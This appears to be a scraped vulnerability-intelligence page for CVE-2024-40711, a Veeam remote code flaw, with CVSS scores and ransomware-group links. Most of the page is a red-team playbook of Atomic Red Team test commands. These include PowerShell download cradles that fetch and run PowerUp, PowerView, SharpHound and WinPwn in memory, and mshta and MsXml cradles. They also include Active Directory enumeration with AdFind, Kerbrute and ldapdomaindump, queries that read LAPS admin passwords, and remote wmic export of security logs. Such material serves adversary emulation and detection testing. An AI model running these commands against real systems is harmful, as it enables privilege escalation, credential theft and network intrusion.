Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use

T1059.001 PowerUp Invoke-AllChecks Windows PowerShell

Check for privilege escalation paths using PowerUp from PowerShellMafia

Command (PowerShell)

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks

T1059.001 Powershell Invoke-DownloadCradle Windows Manual

Provided by https://github.com/mgreen27/mgreen27.github.io Invoke-DownloadCradle is used to generate Network and Endpoint artifacts.

T1059.001 Powershell MsXml COM object - with prompt Windows CMD

Powershell MsXml COM object. Not proxy aware, removing cache although does not appear to write to those locations. Upon execution, "Download Cradle test success!" will be displayed. Provided by https://github.com/mgreen27/mgreen27.github.io

Command (CMD)

powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"

T1059.001 Powershell XML requests Windows CMD

Powershell xml download request. Upon execution, "Download Cradle test success!" will be dispalyed. Provided by https://github.com/mgreen27/mgreen27.github.io

Command (CMD)

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"

T1059.001 Powershell invoke mshta.exe download Windows CMD

Powershell invoke mshta to download payload. Upon execution, a new PowerShell window will be opened which will display "Download Cradle test success!". Provided by https://github.com/mgreen27/mgreen27.github.io

Command (CMD)

C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"

T1059.001 Run BloodHound from local disk Windows PowerShell

Upon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur. Successful...

Command (PowerShell)

import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5

T1059.001 Run Bloodhound from Memory using Download Cradle Windows PowerShell

Upon execution SharpHound will load into memory and execute against a domain. It will set up collection methods, run and then compress and store the data to the temp directory. If system is unable to contact a domain, proper execution will not occur. Successful execution...

Command (PowerShell)

write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5

T1059.001 SOAPHound - Build Cache Windows PowerShell

Build cache using SOAPHound. Upon execution, a cache will be built and stored in the specified cache filename. src: https://github.com/FalconForceTeam/SOAPHound

Command (PowerShell)

#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}

T1059.001 SOAPHound - Dump BloodHound Data Windows PowerShell

Dump BloodHound data using SOAPHound. Upon execution, BloodHound data will be dumped and stored in the specified output directory. src: https://github.com/FalconForceTeam/SOAPHound

Command (PowerShell)

#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}

T1087.002 Account Enumeration with LDAPDomainDump Linux Shell

This test uses LDAPDomainDump to perform account enumeration on a domain. [Reference](https://securityonline.info/ldapdomaindump-active-directory-information-dumper-via-ldap/)

Command (Shell)

ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087

T1087.002 Active Directory Domain Search Linux Shell

Output information from LDAPSearch. LDAP Password is the admin-user password on Active Directory

Command (Shell)

ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn

T1087.002 Adfind - Enumerate Active Directory Admins Windows CMD

Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Admin accounts reference- http://www.joeware.net/freetools/tools/adfind/,...

Command (CMD)

"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}

T1087.002 Adfind - Enumerate Active Directory Exchange AD Objects Windows CMD

Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Exchange Objects reference- http://www.joeware.net/freetools/tools/adfind/,...

Command (CMD)

"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}

T1087.002 Adfind - Enumerate Active Directory User Objects Windows CMD

Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory User Objects reference- http://www.joeware.net/freetools/tools/adfind/,...

Command (CMD)

"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}

T1087.002 Adfind -Listing password policy Windows CMD

Adfind tool can be used for reconnaissance in an Active directory environment. The example chosen illustrates adfind used to query the local password policy. reference- http://www.joeware.net/freetools/tools/adfind/,...

Command (CMD)

"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties

T1087.002 Automated AD Recon (ADRecon) Windows PowerShell

ADRecon extracts and combines information about an AD environement into a report. Upon execution, an Excel file with all of the data will be generated and its path will be displayed.

Command (PowerShell)

Invoke-Expression "#{adrecon_path}"

T1087.002 Enumerate Active Directory Users with ADSISearcher Windows PowerShell

The following Atomic test will utilize ADSISearcher to enumerate users within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...

Command (PowerShell)

([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()

T1087.002 Enumerate Active Directory for Unconstrained Delegation Windows PowerShell

Attackers may attempt to query for computer objects with the UserAccountControl property 'TRUSTED_FOR_DELEGATION' (0x80000;524288) set More Information -...

Command (PowerShell)

Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}

T1087.002 Enumerate Default Domain Admin Details (Domain) Windows CMD

This test will enumerate the details of the built-in domain admin account

Command (CMD)

net user administrator /domain

T1087.002 Enumerate Linked Policies In ADSISearcher Discovery Windows PowerShell

The following Atomic test will utilize ADSISearcher to enumerate organizational unit within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...

Command (PowerShell)

(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}

T1087.002 Enumerate Root Domain linked policies Discovery Windows PowerShell

The following Atomic test will utilize ADSISearcher to enumerate root domain unit within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...

Command (PowerShell)

(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}

T1087.002 Enumerate all accounts (Domain) Windows CMD

Enumerate all accounts Upon exection, multiple enumeration commands will be run and their output displayed in the PowerShell session

Command (CMD)

net user /domain
net group /domain

T1087.002 Enumerate all accounts via PowerShell (Domain) Windows PowerShell

Enumerate all accounts via PowerShell. Upon execution, lots of user account and group information will be displayed.

Command (PowerShell)

net user /domain
get-localgroupmember -group Users
get-aduser -filter *

T1087.002 Enumerate logged on users via CMD (Domain) Windows CMD

Enumerate logged on users. Upon exeuction, logged on users will be displayed.

Command (CMD)

query user /SERVER:#{computer_name}

T1087.002 Get-DomainUser with PowerView Windows PowerShell

Utilizing PowerView, run Get-DomainUser to identify the domain users. Upon execution, Users within the domain will be listed.

Command (PowerShell)

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose

T1087.002 Kerbrute - userenum Windows PowerShell

Enumerates active directory usernames using the userenum function of Kerbrute

Command (PowerShell)

cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"

T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer all properties Windows PowerShell

This test executes LDAP query using powershell command Get-ADComputer and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime

Command (PowerShell)

Get-ADComputer #{hostname} -Properties *

T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer all properties and SearchScope Windows PowerShell

This test executes LDAP query using powershell command Get-ADComputer with SearchScope as subtree and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime

Command (PowerShell)

Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *

T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer ms-Mcs-AdmPwd property Windows PowerShell

This test executes LDAP query using powershell command Get-ADComputer and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime

Command (PowerShell)

Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime

T1087.002 Suspicious LAPS Attributes Query with adfind all properties Windows PowerShell

This test executes LDAP query using adfind command and lists all the attributes including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime

Command (PowerShell)

& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *

T1087.002 Suspicious LAPS Attributes Query with adfind ms-Mcs-AdmPwd Windows PowerShell

This test executes LDAP query using adfind command and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime

Command (PowerShell)

& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime

T1087.002 Wevtutil - Discover NTLM Users Remote Windows PowerShell

This test discovers users who have authenticated against a Domain Controller via NTLM. This is done remotely via wmic and captures the event code 4776 from the domain controller and stores the ouput in C:\temp. [Reference](https://www.reliaquest.com/blog/socgholish-fakeupdates/)

Command (PowerShell)

$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'

T1087.002 WinPwn - generaldomaininfo Windows PowerShell

Gathers general domain information using the generaldomaininfo function of WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput

Title	Tags	URL
nvd.nist.gov	NVD reference	https://nvd.nist.gov/vuln/detail/CVE-2024-40711
veeam.com	GitHub CVE	https://www.veeam.com/kb4649
labs.watchtowr.com	NVD API Exploit Third Party Advisory	https://labs.watchtowr.com/veeam-backup-response-rce-with-auth-but-mostly-without-auth-cve-2024-40711-2/
cisa.gov	NVD API US Government Resource	https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-40711

CVSS Analysis

CVSS v3.1

9.8

EXPLOITABILITY

Attack Vector

Network AV:N

Attack Complexity

Low AC:L

Privileges Required

None PR:N

User Interaction

None UI:N

SCOPE

Scope

Unchanged S:U

IMPACT

Confidentiality

High C:H

Integrity

High I:H

Availability

High A:H

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack Vectors

CWE

CWE-502

Prioritization

KEV Prediction

81.3%

Percentile

94%

LEV

68.1%

SSVC

Decision

Act

Exploitation

Active

Automatable

Yes

Technical Impact

Total

Threat Level

CISA KEV

YES

KEV Date

2024-10-17

Exploited in Wild

YES

Exploit Available

PoC Available

YES

Ransomware

YES

Ransomware Intelligence

Associated Groups

Confirmed

akira (1529)

frag (30)

Correlated

akira (1529) LOW

ransomhub (842) LOW

sinobi (274) LOW

0apt LOW

Predictions

akira (1529)

ransomhub (842)

sinobi (274)

frag (30)

0apt

11 group(s) • 2 confirmed • 4 correlated • 5 predicted

CVE-2024-40711

Overview

Vulnerability Description

Impact

Solution

EPSS vs KEV Prediction — Evolution (30 days)

Ransomware Intelligence

Confirmed Groups

Correlated Groups

Correlations are established through analysis of shared tools, tactics, and infrastructure between threat groups and vulnerabilities. They do not represent direct confirmation of exploitation.

Predictions

Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.

Full Analysis

Update 2 — June 19, 2026

Update 3 — July 07, 2026

Affected Products (1)

Disclaimer

GitHub PoCs (2)

Ransomware Groups 6

Threat Feed

Likely Kill Chain

Attack Vectors ML

MITRE ATT&CK Techniques (6)

CAPEC Attack Patterns ML

Red Team Playbook

Detection & Response Rules

References (4)

CVE-2024-40711

Overview

Vulnerability Description

Impact

Solution

EPSS vs KEV Prediction — Evolution (30 days)

Ransomware Intelligence

Confirmed Groups

Correlated Groups Correlations are established through analysis of shared tools, tactics, and infrastructure between threat groups and vulnerabilities. They do not represent direct confirmation of exploitation.

Predictions Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.

Full Analysis

Update 2 — June 19, 2026

Update 3 — July 07, 2026

Affected Products (1)

Disclaimer

GitHub PoCs (2)

Ransomware Groups 6

Threat Feed

Likely Kill Chain

Attack Vectors ML

MITRE ATT&CK Techniques (6)

CAPEC Attack Patterns ML

Red Team Playbook

Detection & Response Rules

References (4)

Correlated Groups

Correlations are established through analysis of shared tools, tactics, and infrastructure between threat groups and vulnerabilities. They do not represent direct confirmation of exploitation.

Predictions

Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.